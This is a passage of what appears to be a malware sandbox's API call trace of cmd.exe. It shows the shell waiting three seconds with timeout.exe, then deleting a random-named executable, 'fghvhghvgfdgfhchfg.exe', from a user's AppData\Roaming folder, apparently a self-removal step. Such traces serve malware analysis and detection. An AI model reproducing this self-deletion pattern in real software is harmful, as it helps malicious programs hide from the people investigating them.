nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0x322378 [0171.812] FindClose (in: hFindFile=0x322378 | out: hFindFile=0x322378) returned 1 [0171.812] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFindFileData=0x30f224 | out: lpFindFileData=0x30f224*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x88844280, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0x88844280, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0x322378 [0171.812] FindClose (in: hFindFile=0x322378 | out: hFindFile=0x322378) returned 1 [0171.813] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming")) returned 0x2010 [0171.813] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming")) returned 1 [0171.813] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1 [0171.813] GetProcessHeap () returned 0x310000 [0171.813] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3256c8 | out: hHeap=0x310000) returned 1 [0171.813] GetEnvironmentStringsW () returned 0x3224f8* [0171.813] GetProcessHeap () returned 0x310000 [0171.813] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xc40) returned 0x324ac8 [0171.813] FreeEnvironmentStringsW (penv=0x3224f8) returned 1 [0171.813] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e95260 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0171.813] GetProcessHeap () returned 0x310000 [0171.813] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3107f0 | out: hHeap=0x310000) returned 1 [0171.813] GetProcessHeap () returned 0x310000 [0171.813] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x400e) returned 0x326f10 [0171.813] GetProcessHeap () returned 0x310000 [0171.814] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x8e) returned 0x311048 [0171.814] GetProcessHeap () returned 0x310000 [0171.814] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x326f10 | out: hHeap=0x310000) returned 1 [0171.814] GetConsoleOutputCP () returned 0x1b5 [0171.814] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e94260 | out: lpCPInfo=0x49e94260) returned 1 [0171.814] GetUserDefaultLCID () returned 0x409 [0171.814] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e94950, cchData=8 | out: lpLCData=":") returned 2 [0171.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x30f5e8, cchData=128 | out: lpLCData="0") returned 2 [0171.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x30f5e8, cchData=128 | out: lpLCData="0") returned 2 [0171.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x30f5e8, cchData=128 | out: lpLCData="1") returned 2 [0171.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e94940, cchData=8 | out: lpLCData="/") returned 2 [0171.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e94d80, cchData=32 | out: lpLCData="Mon") returned 4 [0171.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e94d40, cchData=32 | out: lpLCData="Tue") returned 4 [0171.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e94d00, cchData=32 | out: lpLCData="Wed") returned 4 [0171.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e94cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0171.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e94c80, cchData=32 | out: lpLCData="Fri") returned 4 [0171.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e94c40, cchData=32 | out: lpLCData="Sat") returned 4 [0171.815] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e94c00, cchData=32 | out: lpLCData="Sun") returned 4 [0171.815] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e94930, cchData=8 | out: lpLCData=".") returned 2 [0171.815] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e94920, cchData=8 | out: lpLCData=",") returned 2 [0171.815] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0171.817] GetProcessHeap () returned 0x310000 [0171.817] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x0, Size=0x20c) returned 0x3110e0 [0171.817] GetConsoleTitleW (in: lpConsoleTitle=0x3110e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0171.817] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75b90000 [0171.817] GetProcAddress (hModule=0x75b90000, lpProcName="CopyFileExW") returned 0x75bc3b92 [0171.817] GetProcAddress (hModule=0x75b90000, lpProcName="IsDebuggerPresent") returned 0x75ba4a5d [0171.817] GetProcAddress (hModule=0x75b90000, lpProcName="SetConsoleInputExeNameW") returned 0x75bba79d [0171.819] GetProcessHeap () returned 0x310000 [0171.819] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x400a) returned 0x326f10 [0171.819] GetProcessHeap () returned 0x310000 [0171.819] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x326f10 | out: hHeap=0x310000) returned 1 [0171.821] _wcsicmp (_String1="C:\\Windows\\system32\\timeout.exe", _String2=")") returned 58 [0171.821] _wcsicmp (_String1="FOR", _String2="C:\\Windows\\system32\\timeout.exe") returned 3 [0171.821] _wcsicmp (_String1="FOR/?", _String2="C:\\Windows\\system32\\timeout.exe") returned 3 [0171.821] _wcsicmp (_String1="IF", _String2="C:\\Windows\\system32\\timeout.exe") returned 6 [0171.821] _wcsicmp (_String1="IF/?", _String2="C:\\Windows\\system32\\timeout.exe") returned 6 [0171.821] _wcsicmp (_String1="REM", _String2="C:\\Windows\\system32\\timeout.exe") returned 15 [0171.821] _wcsicmp (_String1="REM/?", _String2="C:\\Windows\\system32\\timeout.exe") returned 15 [0171.821] GetProcessHeap () returned 0x310000 [0171.821] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x58) returned 0x3112f8 [0171.821] GetProcessHeap () returned 0x310000 [0171.821] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x48) returned 0x3107f0 [0171.822] GetProcessHeap () returned 0x310000 [0171.822] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x10) returned 0x320428 [0171.822] GetProcessHeap () returned 0x310000 [0171.822] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x58) returned 0x311358 [0171.823] _wcsicmp (_String1="del", _String2=")") returned 59 [0171.823] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0171.823] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0171.823] _wcsicmp (_String1="IF", _String2="del") returned 5 [0171.823] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0171.823] _wcsicmp (_String1="REM", _String2="del") returned 14 [0171.823] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0171.823] GetProcessHeap () returned 0x310000 [0171.823] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x58) returned 0x325710 [0171.823] GetProcessHeap () returned 0x310000 [0171.823] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x10) returned 0x320440 [0171.824] GetProcessHeap () returned 0x310000 [0171.824] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x3c) returned 0x325770 [0171.824] GetConsoleTitleW (in: lpConsoleTitle=0x30f27c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0171.824] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0171.825] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0171.825] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x30f038, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x30f030, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x30f030*=0x705ba84c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.826] GetProcessHeap () returned 0x310000 [0171.826] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x210) returned 0x3257b8 [0171.826] GetProcessHeap () returned 0x310000 [0171.826] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x50) returned 0x3259d0 [0171.826] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51 [0171.826] GetProcessHeap () returned 0x310000 [0171.826] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x418) returned 0x325a28 [0171.826] SetErrorMode (uMode=0x0) returned 0x0 [0171.826] SetErrorMode (uMode=0x1) returned 0x0 [0171.826] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x208, lpBuffer=0x325a30, lpFilePart=0x30ed9c | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x30ed9c*="system32") returned 0x13 [0171.826] SetErrorMode (uMode=0x0) returned 0x1 [0171.826] GetProcessHeap () returned 0x310000 [0171.826] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x325a28, Size=0x48) returned 0x325a28 [0171.826] GetProcessHeap () returned 0x310000 [0171.826] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325a28) returned 0x48 [0171.826] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\system32\\.") returned 1 [0171.827] GetProcessHeap () returned 0x310000 [0171.827] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x36) returned 0x325a78 [0171.827] GetProcessHeap () returned 0x310000 [0171.827] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x60) returned 0x325ab8 [0171.827] GetProcessHeap () returned 0x310000 [0171.827] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x325ab8, Size=0x36) returned 0x325ab8 [0171.827] GetProcessHeap () returned 0x310000 [0171.827] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325ab8) returned 0x36 [0171.827] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49ea0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0171.827] GetProcessHeap () returned 0x310000 [0171.827] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xe0) returned 0x325af8 [0171.831] GetProcessHeap () returned 0x310000 [0171.831] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x325af8, Size=0x76) returned 0x325af8 [0171.831] GetProcessHeap () returned 0x310000 [0171.831] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325af8) returned 0x76 [0171.833] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0171.834] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\timeout.exe", fInfoLevelId=0x1, lpFindFileData=0x30eb38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30eb38) returned 0x325b78 [0171.834] GetProcessHeap () returned 0x310000 [0171.834] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x0, Size=0x14) returned 0x3113b8 [0171.834] FindClose (in: hFindFile=0x325b78 | out: hFindFile=0x325b78) returned 1 [0171.834] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0171.834] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0171.834] GetConsoleTitleW (in: lpConsoleTitle=0x30f010, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0171.834] InitializeProcThreadAttributeList (in: lpAttributeList=0x30ee98, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x30ef60 | out: lpAttributeList=0x30ee98, lpSize=0x30ef60) returned 1 [0171.834] UpdateProcThreadAttribute (in: lpAttributeList=0x30ee98, dwFlags=0x0, Attribute=0x60001, lpValue=0x30ef58, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x30ee98, lpPreviousValue=0x0) returned 1 [0171.834] GetStartupInfoW (in: lpStartupInfo=0x30ee54 | out: lpStartupInfo=0x30ee54*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0171.834] GetProcessHeap () returned 0x310000 [0171.835] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x18) returned 0x325b78 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0171.835] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0171.836] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0171.836] GetProcessHeap () returned 0x310000 [0171.836] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325b78 | out: hHeap=0x310000) returned 1 [0171.836] GetProcessHeap () returned 0x310000 [0171.836] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xa) returned 0x320458 [0171.836] lstrcmpW (lpString1="\\timeout.exe", lpString2="\\XCOPY.EXE") returned -1 [0171.838] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\timeout.exe", lpCommandLine="C:\\Windows\\system32\\timeout.exe 3 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpStartupInfo=0x30eef4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\timeout.exe 3 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x30ef40 | out: lpCommandLine="C:\\Windows\\system32\\timeout.exe 3 ", lpProcessInformation=0x30ef40*(hProcess=0x78, hThread=0x74, dwProcessId=0xe9c, dwThreadId=0xea0)) returned 1 [0171.849] CloseHandle (hObject=0x74) returned 1 [0171.849] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0171.849] GetProcessHeap () returned 0x310000 [0171.849] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324ac8 | out: hHeap=0x310000) returned 1 [0171.849] GetEnvironmentStringsW () returned 0x324ac8* [0171.849] GetProcessHeap () returned 0x310000 [0171.849] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xc40) returned 0x3224f8 [0171.849] FreeEnvironmentStringsW (penv=0x324ac8) returned 1 [0171.849] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0175.262] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x30ee34 | out: lpExitCode=0x30ee34*=0x0) returned 1 [0175.263] CloseHandle (hObject=0x78) returned 1 [0175.263] _vsnwprintf (in: _Buffer=0x30ef7c, _BufferCount=0x13, _Format="%08X", _ArgList=0x30ee40 | out: _Buffer="00000000") returned 8 [0175.263] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0175.264] GetProcessHeap () returned 0x310000 [0175.264] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3224f8 | out: hHeap=0x310000) returned 1 [0175.264] GetEnvironmentStringsW () returned 0x325fe0* [0175.264] GetProcessHeap () returned 0x310000 [0175.264] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xc66) returned 0x3224f8 [0175.264] FreeEnvironmentStringsW (penv=0x325fe0) returned 1 [0175.264] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0175.264] GetProcessHeap () returned 0x310000 [0175.264] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3224f8 | out: hHeap=0x310000) returned 1 [0175.264] GetEnvironmentStringsW () returned 0x325fe0* [0175.264] GetProcessHeap () returned 0x310000 [0175.264] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xc66) returned 0x3224f8 [0175.264] FreeEnvironmentStringsW (penv=0x325fe0) returned 1 [0175.264] GetProcessHeap () returned 0x310000 [0175.264] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x320458 | out: hHeap=0x310000) returned 1 [0175.265] DeleteProcThreadAttributeList (in: lpAttributeList=0x30ee98 | out: lpAttributeList=0x30ee98) [0175.265] GetConsoleTitleW (in: lpConsoleTitle=0x30f27c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0175.265] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0175.265] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0175.265] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0175.265] GetProcessHeap () returned 0x310000 [0175.265] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x70) returned 0x325cc0 [0175.265] GetProcessHeap () returned 0x310000 [0175.265] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x325cc0, Size=0x3c) returned 0x325cc0 [0175.266] GetProcessHeap () returned 0x310000 [0175.266] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325cc0) returned 0x3c [0175.266] GetProcessHeap () returned 0x310000 [0175.266] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x44) returned 0x325d08 [0175.267] GetProcessHeap () returned 0x310000 [0175.267] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x70) returned 0x31f7c8 [0175.267] GetProcessHeap () returned 0x310000 [0175.267] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x31f7c8, Size=0x3c) returned 0x31f7c8 [0175.267] GetProcessHeap () returned 0x310000 [0175.267] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x31f7c8) returned 0x3c [0175.267] GetProcessHeap () returned 0x310000 [0175.267] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x36) returned 0x31f810 [0175.267] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x30f034 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0175.267] GetProcessHeap () returned 0x310000 [0175.267] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x38) returned 0x31f850 [0175.267] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x30e0c4 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0175.267] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x30e2f4, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x30e2f8, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x30e2f4*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0175.268] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0175.268] GetProcessHeap () returned 0x310000 [0175.268] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x2c) returned 0x31f890 [0175.268] GetProcessHeap () returned 0x310000 [0175.268] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x258) returned 0x323168 [0175.270] _wcsicmp (_String1="fghvhghvgfdgfhchfg.exe", _String2=".") returned 56 [0175.270] _wcsicmp (_String1="fghvhghvgfdgfhchfg.exe", _String2="..") returned 56 [0175.270] GetFileAttributesW (lpFileName="fghvhghvgfdgfhchfg.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe")) returned 0x2020 [0175.270] GetProcessHeap () returned 0x310000 [0175.270] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x210) returned 0x3233c8 [0175.270] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3233d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0175.270] SetErrorMode (uMode=0x0) returned 0x0 [0175.270] SetErrorMode (uMode=0x1) returned 0x0 [0175.270] GetFullPathNameW (in: lpFileName="fghvhghvgfdgfhchfg.exe", nBufferLength=0x104, lpBuffer=0x30e718, lpFilePart=0x30e700 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe", lpFilePart=0x30e700*="fghvhghvgfdgfhchfg.exe") returned 0x38 [0175.270] SetErrorMode (uMode=0x0) returned 0x1 [0175.271] GetProcessHeap () returned 0x310000 [0175.271] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x258) returned 0x3235e0 [0175.271] _wcsicmp (_String1="fghvhghvgfdgfhchfg.exe", _String2=".") returned 56 [0175.271] _wcsicmp (_String1="fghvhghvgfdgfhchfg.exe", _String2="..") returned 56 [0175.271] GetFileAttributesW (lpFileName="fghvhghvgfdgfhchfg.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe")) returned 0x2020 [0175.271] GetProcessHeap () returned 0x310000 [0175.271] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x36) returned 0x31f8c8 [0175.271] GetProcessHeap () returned 0x310000 [0175.271] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x4c) returned 0x31f908 [0175.271] GetProcessHeap () returned 0x310000 [0175.271] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x4c) returned 0x31f960 [0175.271] GetProcessHeap () returned 0x310000 [0175.271] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x808) returned 0x324ac8 [0175.271] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe", fInfoLevelId=0x0, lpFindFileData=0x324ad4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x324ad4) returned 0x31f9b8 [0175.271] GetProcessHeap () returned 0x310000 [0175.271] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x3113b8, Size=0x4) returned 0x3113b8 [0175.271] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe")) returned 1 [0175.274] FindNextFileW (in: hFindFile=0x31f9b8, lpFindFileData=0x324ad4 | out: lpFindFileData=0x324ad4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88844280, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0x88844280, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0x88a33460, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="fghvhghvgfdgfhchfg.exe", cAlternateFileName="FGHVHG~1.EXE")) returned 0 [0175.275] GetLastError () returned 0x12 [0175.275] FindClose (in: hFindFile=0x31f9b8 | out: hFindFile=0x31f9b8) returned 1 [0175.276] GetProcessHeap () returned 0x310000 [0175.276] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324ac8 | out: hHeap=0x310000) returned 1 [0175.276] GetProcessHeap () returned 0x310000 [0175.276] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x31f960 | out: hHeap=0x310000) returned 1 [0175.276] GetProcessHeap () returned 0x310000 [0175.276] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x31f8c8 | out: hHeap=0x310000) returned 1 [0175.276] GetProcessHeap () returned 0x310000 [0175.276] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x31f908 